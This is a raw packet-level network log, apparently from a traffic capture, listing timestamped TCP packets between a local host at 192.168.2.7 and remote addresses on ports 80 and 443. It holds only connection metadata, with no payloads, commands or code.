Nov 17, 2024 22:20:50.966089964 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.966128111 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.966162920 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.966166019 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.966200113 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.966202974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.966227055 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.966240883 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:50.966253042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:50.966289997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006684065 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006750107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006788015 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006814003 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006840944 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006853104 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006884098 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006896973 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006932020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006937027 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006968021 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.006970882 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.006999969 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007005930 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007039070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007055998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007097006 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007112980 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007143974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007153034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007183075 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007208109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007244110 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007246971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007287025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007319927 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007348061 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007354975 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007390022 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007401943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007426977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007452011 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007464886 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007467031 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007500887 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007503033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007535934 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007541895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007570982 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.007586956 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.007611990 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.030225992 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.032221079 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.032257080 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.032845020 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.032855034 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.039509058 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.039561033 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.039716005 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.039773941 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.040916920 CET	60879	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.040936947 CET	443	60879	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.041325092 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.041376114 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.041486979 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.042718887 CET	60895	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.042737961 CET	443	60895	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.048500061 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048532009 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048548937 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048567057 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048567057 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048593998 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048598051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048609018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048626900 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048643112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048644066 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048660040 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048664093 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048680067 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048682928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048696041 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048710108 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048728943 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048742056 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048840046 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048856020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048873901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048881054 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048896074 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048916101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048950911 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048969030 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.048994064 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.048996925 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049015045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049022913 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049032927 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049041986 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049061060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049074888 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049438953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049463987 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049482107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049494028 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049498081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049515963 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049520969 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049534082 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.049547911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.049575090 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.082370996 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082391977 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082426071 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082434893 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.082443953 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082461119 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082465887 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.082479000 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082488060 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.082500935 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.082530975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.082547903 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123404026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123425961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123451948 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123477936 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123481989 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123496056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123512983 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123518944 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123538017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123542070 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123555899 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123568058 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123569012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123594046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123598099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123615026 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123620033 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123641968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123642921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123658895 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123658895 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123678923 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123686075 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123694897 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123703957 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123718023 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123722076 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123733997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123740911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123754025 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123754978 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123775005 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123775005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123794079 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123809099 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.123821974 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123867989 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.123869896 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.124119997 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165108919 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165148020 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165185928 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165208101 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165214062 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165321112 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165354967 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165375948 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165390968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165410042 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165426970 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165433884 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165465117 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165499926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165512085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165550947 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165585995 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165613890 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165710926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165766001 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165772915 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165817976 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165842056 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165877104 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165921926 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.165926933 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165966034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.165976048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166011095 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166043997 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166059971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166081905 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166094065 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166119099 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166135073 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166152954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166163921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166188955 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166194916 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166234016 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166246891 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166291952 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166291952 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166301012 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166332960 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166337013 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166352034 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166371107 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.166388988 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.166416883 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.167536020 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.167711020 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.167787075 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.167933941 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.167973042 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.168001890 CET	60880	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.168018103 CET	443	60880	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.172171116 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.172230005 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.172410965 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.172621012 CET	60896	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.172641993 CET	443	60896	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.199239016 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199275017 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199311018 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199316025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.199345112 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.199366093 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199368954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.199403048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199412107 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.199440956 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.199446917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.199486971 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.208450079 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.208808899 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.208820105 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.209050894 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.209320068 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.209348917 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.209862947 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.210170031 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.210540056 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.210540056 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.210613966 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.210823059 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.210886002 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.211168051 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.211247921 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.211325884 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.211335897 CET	443	60884	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.219429016 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.220046997 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.221992016 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.222004890 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.222301006 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.222322941 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.222367048 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.223368883 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.223428011 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.223537922 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.223608017 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.223881960 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.223947048 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.224097967 CET	60881	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.224212885 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.224221945 CET	443	60885	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.225256920 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.225416899 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.225424051 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.226439953 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.226516962 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.226928949 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.226993084 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.227267027 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.227276087 CET	443	60883	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.240003109 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240067005 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240091085 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240127087 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240139961 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240175962 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240212917 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240223885 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240257025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240264893 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240299940 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240309954 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240355015 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240355968 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240392923 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240397930 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240432024 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240452051 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240483046 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240489960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240520954 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240535975 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240555048 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240559101 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240591049 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240598917 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240626097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240662098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240679979 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240700960 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240706921 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240755081 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240803003 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240806103 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240837097 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240854025 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240873098 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240880013 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240907907 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240911007 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.240946054 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240974903 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.240991116 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.241015911 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.265958071 CET	60882	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.265963078 CET	60884	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.265970945 CET	443	60882	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.265971899 CET	60885	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.271327019 CET	443	60881	13.107.246.57	192.168.2.7
Nov 17, 2024 22:20:51.271435976 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.272628069 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.272656918 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.278184891 CET	60888	443	192.168.2.7	13.107.246.45
Nov 17, 2024 22:20:51.278193951 CET	443	60888	13.107.246.45	192.168.2.7
Nov 17, 2024 22:20:51.280941963 CET	60883	443	192.168.2.7	13.107.246.57
Nov 17, 2024 22:20:51.281810045 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.281843901 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.281897068 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.281914949 CET	60797	80	192.168.2.7	185.215.113.206
Nov 17, 2024 22:20:51.281933069 CET	80	60797	185.215.113.206	192.168.2.7
Nov 17, 2024 22:20:51.281959057 CET	60797	80	192.168.2.7	185.215.113.206
